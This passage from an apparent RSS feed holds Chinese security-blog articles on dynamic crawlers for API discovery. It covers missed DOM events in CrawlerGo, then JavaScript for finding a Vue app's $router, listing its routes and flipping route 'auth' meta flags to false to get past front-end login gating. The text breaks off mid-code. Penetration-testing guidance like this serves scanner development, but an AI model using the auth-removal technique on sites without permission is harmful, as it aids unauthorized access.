sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;font-weight: bold;">会出现丢事件的现象</span><span textstyle="" style="font-size: 14px;">。举例说明，在笔者选定的测试站点中，遍历click菜单中的item，却出现只打开了最后一个。其他导航请求并没有正确被拦截到。</span></span></span></p><p style="margin-bottom: 8px;"><span style="color:#56a8f5;"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;">这自然是因为，某一类事件是依赖全局状态的，连续触发就等于触发最后1个。但笔者想要收集更全的事件。因此增加适当的延迟，如10ms</span></span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><p><span leaf="">node.<span class="code-snippet__title">dispatchEvent</span>(evt);</span></p><p><span leaf=""><span class="code-snippet__keyword">await</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">Promise</span>(<span class="code-snippet__function"><span class="code-snippet__params">resolve</span></span><span class="code-snippet__function"> =&gt;</span> <span class="code-snippet__built_in">setTimeout</span>(resolve, <span class="code-snippet__number">10</span>));</span></p></pre></p><p style="margin-bottom: 8px;"><span data-pm-slice="2 3 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">经测试，少量延迟可以解决这类问题，收集全我们需要的URL。</span></span></span></p><p style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 3 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;">   动态加载未</span><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;">触发的严重缺陷   </span></span></span></p><p style="margin-bottom: 8px;"><span style="color:#56a8f5;"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;">上面的缺陷或许不算太严重，丢几个事件，运气好的话，其他逻辑还有机会补回来数据。</span></span></span></p><p style="margin-bottom: 8px;"><span style="color:#56a8f5;"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;">但下面我要介绍的这个缺陷，是最为致命的。</span><span textstyle="" style="font-size: 14px;font-weight: bold;">CrawlerGo在单个页面上只触发1次DOM事件</span><span textstyle="" style="font-size: 14px;">。看笔者在测试页打印的log</span></span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><p><span leaf=""><span class="code-snippet__attribute">log</span>: Found <span class="code-snippet__number">60</span> nodes to dispatch events</span></p><p><span leaf=""><span class="code-snippet__attribute">log</span>: After trigger <span class="code-snippet__literal">all</span> events, found <span class="code-snippet__number">174</span> nodes to dispatch events</span></p></pre></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">起初，程序收集到60个要触发事件的元素。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">等程序把这60个元素上的dom事件都触发后，绑定事件的element已经增加到了174个。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">出现这个现象的原因，是因为一些元素是动态添加的，甚至是动态加载的。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">CrawlerGo没有收集到这些新增的绑定事件，没有将其触发。因此丢掉了相当比例的接口。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">这些接口，一般是在Modal对话框上出现。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">例如，笔者的测试页面中，就打开了多达4个Dialog。这些接口都被漏掉了。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">解决方法也很简单，持续收集新增出现的绑定事件，一直触发，直到没有新的事件绑定出现再结束当前页面的处理。</span></span></p><p style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 3 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;">   小结   </span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">本篇总结了常见动态爬虫收集不全API接口的原因。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">因现代web页面存在较多动态加载的元素、功能，因此，爬虫需要持续收集事件绑定，并且完整地触发所有事件。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">尽可能多地收集完所有API接口</span></span></p><mp-style-type data-value="3"></mp-style-type>



<p><a href="2247483769">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=47b63a1b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483769%26idx%3D1%26sn%3D18b1cf676a3277411237ce3b11e544ad%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 12 May 2025 16:48:00 +0800</pubDate>
    </item>
    <item>
      <title>API接口深度发现的动态爬虫实现(3. Web框架识别和移除鉴权)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483765&amp;idx=1&amp;sn=9af6a62435ca59521e3d11605e925adb</link>
      <description>现代Web应用中，SPA占比非常高。本篇介绍动态爬虫识别框架，并尝试移除前端鉴权。</description>
      <content:encoded><![CDATA[<p>
原创 <span>扫到漏洞的</span> <span>2025-05-06 18:55</span> <span style="display: inline-block;">北京</span>
</p>

<p>现代Web应用中，SPA占比非常高。本篇介绍动态爬虫识别框架，并尝试移除前端鉴权。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6eb63745&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9mRhkkpaWPDAcDFVibkEQTXl1Fn9BXeqEmYFu2s769nWZjeeyMwm4jHicFdr1Oba8GXKm4BiaMlplNZw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">现代Web应用中，SPA（Single Page Application）占比非常高。它接口丰富，容易发现漏洞，应该被优先关注和重点测试。</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]"><br/></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]"><span textstyle="" style="font-size: 14px;">笔者认为漏扫动态爬虫有必要精准识别站点采用的Web框架，好处有几点：</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">1)  直接提取得到完整的path</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">一种很常见的情况，安全测试人员打开站点，只能看到一个简单的登录页，其他页面都鉴权了（</span><span textstyle="" style="font-size: 14px;font-weight: bold;">请注意，这仅仅是前端拦截的</span><span textstyle="" style="font-size: 14px;">）。 通过识别框架，我们在简单登录页上，能轻松</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">枚举出所有的path。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">万一有功能页面鉴权属性配置错误，则可能发现漏洞。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">2)  直接修改auth相关属性的值，去掉前端拦截，触发接口请求</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">SPA的router组件通常配置特定的auth属性，来标记页面是否需要鉴权。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">既然只是一个前端标记，直接查找到这个属性修改为不鉴权即可。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">我们的扫描器可以修改auth属性，再导航到这些功能页面上，通过简单的交互（点击、下拉、输入、滑动等），有一定概率触发多个API接口请求。运气好时，甚至直接就捡到了未授权访问漏洞。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><br/></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">下次遇到面试官问你，看到一个没有帐号的登录页，你应该如何渗透测试时，记得介绍这样的测试技巧：</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 17px;background-color: rgb(255, 254, 213);color: rgb(172, 57, 255);font-weight: bold;">识别Web框架，枚举Path，前端一键移除鉴权，逐个页面遍历，交互触发API请求</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><br/></span></section><section style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">   识别Vue   </span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">第一步，检查全局变量</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">typeof</span> <span class="code-snippet__variable">window</span>.<span class="code-snippet__property">__VUE__</span> !== <span class="code-snippet__string">&#39;undefined&#39;</span> || </span></code><code><span leaf=""><span class="code-snippet__keyword">typeof</span> <span class="code-snippet__variable">window</span>.<span class="code-snippet__property">Vue</span> !== <span class="code-snippet__string">&#39;undefined&#39;</span></span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">如果第一步失败，继续检查DOM </span></span><span leaf=""><span textstyle="" style="font-size: 14px;">元素上的</span></span><span leaf=""><span textstyle="" style="font-size: 14px;"> __vue__ </span></span><span leaf=""><span textstyle="" style="font-size: 14px;">或</span></span><span leaf=""><span textstyle="" style="font-size: 14px;"> __vue_app__，</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">通常是一个div元素</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">const</span> vueElements = <span class="code-snippet__variable">document</span>.<span class="code-snippet__title">querySelectorAll</span>(<span class="code-snippet__string">&#39;*&#39;</span>);</span></code><code><span leaf=""><span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">const</span> el <span class="code-snippet__keyword">of</span> vueElements) {    </span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (el.<span class="code-snippet__property">__vue__</span> || el.<span class="code-snippet__property">__vue_app__</span>) {        </span></code><code><span leaf="">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;vue&#39;</span>;   </span></code><code><span leaf="">}}</span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">一旦识别目标网站采用了vue js，</span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: bold;">接下来就需要拿到$router对象。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">根据vue版本的不同，最最常见的$router变量是</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">window.<span class="code-snippet__variable">$router</span></span></code><code><span leaf=""><br/></span></code><code><span leaf="">divObject.__vue_app__.config.globalProperties.<span class="code-snippet__variable">$router</span></span></code><code><span leaf=""><br/></span></code><code><span leaf="">divObject.__vue_app__.<span class="code-snippet__variable">$router</span></span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">其中divObject是页面中第一个div元素。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">如果都没能找到，可以考虑递归查找window对象的属性直到发现</span><span textstyle="" style="font-size: 14px;font-weight: bold;">$router</span><span textstyle="" style="font-size: 14px;">，但这通常会导致非常严重的性能问题。</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">recursiveFindRouterWithPush</span>(<span class="code-snippet__params">obj, depth = </span><span class="code-snippet__params"><span class="code-snippet__number">0</span></span><span class="code-snippet__params">, maxDepth = </span><span class="code-snippet__params"><span class="code-snippet__number">5</span></span>) {</span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (depth &gt; maxDepth) {</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span leaf="">	}</span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">const</span> key <span class="code-snippet__keyword">in</span> obj) {</span></code><code><span leaf=""><span class="code-snippet__keyword">try</span> {</span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (key === <span class="code-snippet__string">&#39;$router&#39;</span> &amp;&amp; obj[key] !== <span class="code-snippet__literal">null</span> &amp;&amp; <span class="code-snippet__keyword">typeof</span> obj[key] === <span class="code-snippet__string">&#39;object&#39;</span> &amp;&amp; <span class="code-snippet__keyword">typeof</span> obj[key].<span class="code-snippet__property">beforeEach</span> === <span class="code-snippet__string">&#39;function&#39;</span>) {</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> obj[key];</span></code><code><span leaf="">			}</span></code><code><span leaf="">		} <span class="code-snippet__keyword">catch</span> (error) {</span></code><code><span leaf=""><br/></span></code><code><span leaf="">		}</span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">try</span> {</span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">typeof</span> obj[key] === <span class="code-snippet__string">&#39;object&#39;</span> &amp;&amp; obj[key] !== <span class="code-snippet__literal">null</span>) {</span></code><code><span leaf=""><span class="code-snippet__keyword">const</span> foundInSubObject = <span class="code-snippet__title">recursiveFindRouterWithPush</span>(obj[key], depth + <span class="code-snippet__number">1</span>, maxDepth);</span></code><code><span leaf=""><span class="code-snippet__keyword">if</span> (foundInSubObject) {</span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> foundInSubObject;</span></code><code><span leaf="">				}</span></code><code><span leaf="">			}</span></code><code><span leaf="">		} <span class="code-snippet__keyword">catch</span> (error) {</span></code><code><span leaf=""><br/></span></code><code><span leaf="">		}</span></code><code><span leaf="">	}</span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span leaf="">}</span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">拿到router之后，存在2种语法拿routes</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__variable">$router</span>.getRoutes()</span></code><code><span leaf=""><span class="code-snippet__variable">$router</span>.options.routes</span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">切记，尽可能通过getRoutes()方法来拿，拿到的path数量往往更多。</span></span></section><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000114" data-ratio="1.3386363636363636" data-s="300,640" type="block" data-type="png" data-w="440" src="https://wechat2rss.xlab.app/img-proxy/?k=3957f5a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9mRhkkpaWPDAcDFVibkEQTXltMPwqbCKXjJUlic921hiaKzribcwtHrlPHBWH5fiaRvhiaWrMx7EI5EtEOg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">现在来修改所有的鉴权属性为false</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">foundRouter.<span class="code-snippet__title">getRoutes</span>().<span class="code-snippet__title">forEach</span>(<span class="code-snippet__function"><span class="code-snippet__params">route</span></span><span class="code-snippet__function"> =&gt;</span> {</span></code><code><span leaf="">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">let</span> key <span class="code-snippet__keyword">in</span> route.<span class="code-snippet__property">meta</span>) {</span></code><code><span leaf="">        <span class="code-snippet__keyword">if</span> (route.<span class="code-snippet__property">meta</span>.<span class="code-snippet__title">hasOwnProperty</span>(key) &amp;&amp; key.<span class="code-snippet__title">includes</span>(<span class="code-snippet__string">&#39;auth&#39;</span>) &amp;&amp; route.<span class="code-snippet__property">meta</span>[key] === 